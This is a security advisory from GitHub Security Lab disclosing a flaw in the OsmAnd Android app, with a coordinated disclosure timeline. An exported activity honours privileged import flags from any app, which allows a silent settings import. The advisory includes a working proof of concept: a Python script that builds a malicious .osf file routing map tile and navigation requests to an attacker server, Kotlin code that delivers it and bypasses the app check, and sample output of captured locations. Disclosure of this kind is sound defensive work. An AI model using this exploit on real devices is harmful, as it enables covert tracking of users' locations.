Coordinated Disclosure Timeline

  • 2026-04-14: Sent reports via email to support@osmand.net
  • 2026-06-28: Maintainer confirmed all vulnerabilities fixed.

Summary

OsmAnd version 3043c92b27b24a0b2c848bc7041cf5f69ede4ed6 is vulnerable to an issue where the Exported MapActivity improperly handles privileged AIDL intent extras without verifying their origin. This flaw allows a zero-permission app to silently import arbitrary .osf settings, potentially leading to unauthorized configuration changes.

Project

osmand

Tested Version

3043c92b27b24a0b2c848bc7041cf5f69ede4ed6

OsmAnd_5.3.3

Details

Exported MapActivity honors privileged AIDL intent extras from any caller without origin verification, allowing a zero-permission app to silently import arbitrary .osf settings (GHSL-2026-108)

OsmAnd’s MapActivity is exported and registers ACTION_VIEW intent filters for content:// URIs ending in .osf (AndroidManifest.xml). On resume, IntentHelper.parseContentIntent() routes the intent — together with intent.getExtras() — into ImportHelper.handleContentImport():

} else if ("content".equals(scheme)) {
    mapActivity.getImportHelper().handleContentImport(data, intent.getExtras(), true);
    clearIntent(intent);
}

After filename-suffix routing (.osf → settings importer), ImportHelper.handleOsmAndSettingsImport() reads four privilege-escalation flags from those extras with no caller verification:

private void handleOsmAndSettingsImport(Uri intentUri, String fileName, Bundle extras) {
    fileName = fileName.replace(ZIP_EXT, "");
    if (extras != null && CollectionUtils.containsAny(extras.keySet(),
            SETTINGS_VERSION_KEY, SETTINGS_LATEST_CHANGES_KEY)) {
        int version = extras.getInt(SETTINGS_VERSION_KEY, -1);
        String latestChanges = extras.getString(SETTINGS_LATEST_CHANGES_KEY);
        boolean replace = extras.getBoolean(REPLACE_KEY);              // ← attacker-controlled
        boolean silentImport = extras.getBoolean(SILENT_IMPORT_KEY);   // ← attacker-controlled
        ArrayList<String> exportTypeKeys =
            extras.getStringArrayList(EXPORT_TYPE_LIST_KEY);           // ← attacker-controlled
        List<ExportType> exportTypes = null;
        if (exportTypeKeys != null) {
            exportTypes = ExportType.valuesOf(exportTypeKeys);
        }
        handleOsmAndSettingsImport(intentUri, fileName, exportTypes,
            replace, silentImport, latestChanges, version);
    } else {
        handleOsmAndSettingsImport(intentUri, fileName,
            null, false, false, null, -1);                             // safe defaults
    }
}

The key constants are public strings defined in SettingsHelper.java#L49-L53: "settings_version", "replace", "silent_import", "export_type_list_key". Any app can set them via Intent.putExtra().

Intended caller — the gated AIDL entry point. These extras were designed for an internal AIDL → activity bridge. The gated method OsmandAidlApi.importProfileV2() — which sits behind the isAppEnabled() connected-app check — does not perform the import itself. Instead, it bundles the flags and launches MapActivity:

public boolean importProfileV2(Uri profileUri, List<String> settingsTypeKeys,
        boolean replace, boolean silent, String latestChanges, int version) {
    if (profileUri != null) {
        Bundle bundle = new Bundle();
        bundle.putStringArrayList(EXPORT_TYPE_LIST_KEY, new ArrayList<>(settingsTypeKeys));
        bundle.putBoolean(REPLACE_KEY, replace);
        bundle.putBoolean(SILENT_IMPORT_KEY, silent);
        bundle.putString(SETTINGS_LATEST_CHANGES_KEY, latestChanges);
        bundle.putInt(SETTINGS_VERSION_KEY, version);
        MapActivity.launchMapActivityMoveToTop(app, null, profileUri, bundle);
        return true;
    }
    return false;
}

Because MapActivity is exported, any app can replay this bundle directly — bypassing the AIDL connected-app check entirely.

Import without user consent. When the attacker-supplied flags reach SettingsImportTask.onPostExecute(), the user-facing review and confirmation fragments are skipped:

  1. settingsTypes != null (from export_type_list_key) → skips FileImportSettingsFragment.showInstance(), the user-facing review screen that lists which items would be imported.

  2. replace = true → in getDuplicatesListener(), calls setShouldReplace(true) on every item, overwriting existing entries instead of appending with a _1 suffix.

  3. silentImport = true → suppresses ImportCompleteFragment.showInstance(), the import-complete notification.

The user sees OsmAnd briefly come to the foreground (singleTask → onNewIntent), no item list, no consent dialog, no completion notice.

Payload capabilities. Every ExportType is selectable via the export_type_list_key extra. The .osf format (a plain ZIP) can carry any combination of:

  • MAP_SOURCES → MapSourcesSettingsItem.apply() calls OsmandSettings.installTileSource(). Every map tile request (GET /{z}/{x}/{y}.png) is sent to the attacker’s server with the user’s viewport coordinates.

  • ONLINE_ROUTING_ENGINES → OnlineRoutingSettingsItem.apply() calls OnlineRoutingHelper.saveEngine(). Every navigation request sends origin, destination, and waypoint coordinates to the attacker’s server.

  • PROFILE → ProfileSettingsItem.apply() with shouldReplace=true overwrites a built-in profile (e.g. "default" = Browse Map). The accompanying ProfileSettingsItemReader.readPreferencesFromJson() iterates JSON keys and writes arbitrary per-profile preferences via CommonPreference.readFromJson() → setModeValue(appMode, parseString(value)). This is critical because OsmAnd defaults to offline vector map rendering (MAP_ONLINE_DATA = false), meaning a hijacked tile source would otherwise sit dormant. By setting map_online_data → "true" and map_tile_sources → "<attacker source name>" on the default profile, the attacker activates the raster tile layer and points it at their server. The layer switch at MapLayers.java#L301-L308 is not gated by OsmandRasterMapsPlugin.isEnabled() — it is core MapLayers code.

  • GLOBAL, CUSTOM_ROUTING, custom render styles, favorites, GPX tracks, and all other export types — the full list is in ExportType.java.

Attack constraints: This is a co-resident-app-only attack, not triggerable via browser deep links.

Impact

A zero-permission malicious app installed on the same device can achieve persistent real-time location tracking with no user interaction beyond opening the malicious app once:

  1. Privacy — Map tile tracking: The attacker injects a tile source pointing at their server and activates it by flipping MAP_ONLINE_DATA → true on the default profile. After OsmAnd restarts, every map pan/zoom emits tile requests GET /tiles/{z}/{x}/{y}.png to the attacker’s server. The slippy-map coordinates trivially convert to lat/lon bounding boxes, revealing the user’s real-time browsing location.

  2. Privacy — Route destination exfiltration: The attacker injects an OSRM routing engine. When the user requests navigation, the full origin/destination/waypoint coordinates are sent to the attacker’s server as URL path parameters (/route/v1/car/{lon},{lat};{lon},{lat}).

  3. Integrity — Silent settings overwrite: With replace=true, existing entries matched by name are overwritten. The attacker can name their tile source "OsmAnd (online tiles)" — the built-in default — to silently replace the user’s active map layer configuration.

    CWEs

  • CWE-926: “Improper Export of Android Application Components”
  • CWE-940: “Improper Verification of Source of a Communication Channel”

Proof of Concept

A .osf is a plain ZIP. The importer (SettingsImporter.processItems()) reads items.json first, instantiates SettingsItem subclasses by type, then streams matching ZIP entries into each item’s reader.

Step 1 — Build the malicious .osf payload:

# build_osf.py
import json, zipfile

ATTACKER = "http://10.0.2.2:8000"  # emulator host

with zipfile.ZipFile("evil.osf", "w") as z:
    z.writestr("items.json", json.dumps({
        "version": 3,
        "items": [
            {"type": "MAP_SOURCES", "name": "map_sources"},
            {"type": "ONLINE_ROUTING_ENGINES", "name": "online_routing_engines"},
            {"type": "PROFILE", "file": "profile_default.json",
             "appMode": {"stringKey": "default"}},
        ],
    }))
    # Tile source — every viewport pan hits this URL
    z.writestr("map_sources.json", json.dumps({"items": [{
        "sql": False, "name": "OsmAnd (online tiles)",
        "minZoom": 1, "maxZoom": 19,
        "url": f"{ATTACKER}/tiles/{{0}}/{{1}}/{{2}}.png",
        "ext": ".png", "tileSize": 256, "bitDensity": 16,
        "avgSize": 18000, "timesupported": True, "expire": 1,
    }]}))
    # OSRM routing engine — every navigation request hits this URL
    z.writestr("online_routing_engines.json", json.dumps({"items": [{
        "type": "OSRM",
        "params": json.dumps({
            "KEY": "online_routing_engine_poc",
            "CUSTOM_NAME": "Tracker Routing",
            "CUSTOM_URL": f"{ATTACKER}/osrm/",
            "VEHICLE_KEY": "car",
        }),
    }]}))
    # Flip MAP_ONLINE_DATA → true on the default profile so the raster
    # layer is active on next launch (OsmAnd defaults to offline vector).
    # Values MUST be strings — CommonPreference.readFromJson() uses
    # json.getString() → parseString().
    z.writestr("profile_default.json", json.dumps({
        "map_online_data": "true",
        "map_tile_sources": "OsmAnd (online tiles)",
    }))

Step 2 — The zero-permission Android app delivers the payload:

// Stage the .osf from assets → cache, expose via FileProvider
val staged = File(cacheDir, "evil.osf")
assets.open("evil.osf").use { it.copyTo(staged.outputStream()) }
val uri = FileProvider.getUriForFile(this, "$packageName.fileprovider", staged)

startActivity(Intent(Intent.ACTION_VIEW).apply {
    setDataAndType(uri, "*/*")
    component = ComponentName("net.osmand.plus",
        "net.osmand.plus.activities.MapActivity")
    addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
        or Intent.FLAG_ACTIVITY_NEW_TASK)

    // Replay the AIDL service's bundle — bypasses isAppEnabled() gate
    putExtra("settings_version", 3)
    putExtra("settings_latest_changes", "")
    putExtra("replace", true)           // overwrite existing entries by name
    putExtra("silent_import", true)     // suppress completion notice
    putStringArrayListExtra("export_type_list_key",
        arrayListOf("MAP_SOURCES", "ONLINE_ROUTING_ENGINES", "PROFILE"))
})

Step 3 — Observe the exfiltration (attacker-side collector):

# Pan the map — collector_server.py output:
# [TILE #1]  14:23:07  z=15 x=9649 y=12320
#   ├── center: 40.70979, -73.98743
#   └── 🗺️  https://www.openstreetmap.org/#map=15/40.70979/-73.98743

Every tile loaded by the user (along with its coordinates) is captured, allowing an attacker to know where on the map a user is looking. To look convincing, a proper backend must be implemented.

In another PoC, when the user navigates to a location, the attacker can know both the origin and destination.

[ROUTE #1] 07:02:47  vehicle=car  waypoints=2
  ├── path: /osrm/car/-122.084,37.4219983;-122.32450103759766,37.99944305419922
  ├── 📍 Origin:      37.421998, -122.084000
  │      https://www.openstreetmap.org/#map=15/37.42200/-122.08400
  ├── 🏁 Destination: 37.999443, -122.324501
  │      https://www.openstreetmap.org/#map=15/37.99944/-122.32450
  ├── params: {'overview': ['full'], 'steps': ['true']}
  └── ⚠️  Attacker knows where the user is going

CVE

  • CVE-2026-65997

Credit

This issue was discovered with the GitHub Security Lab Taskflow Agent and verified by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-108 in any communication regarding this issue.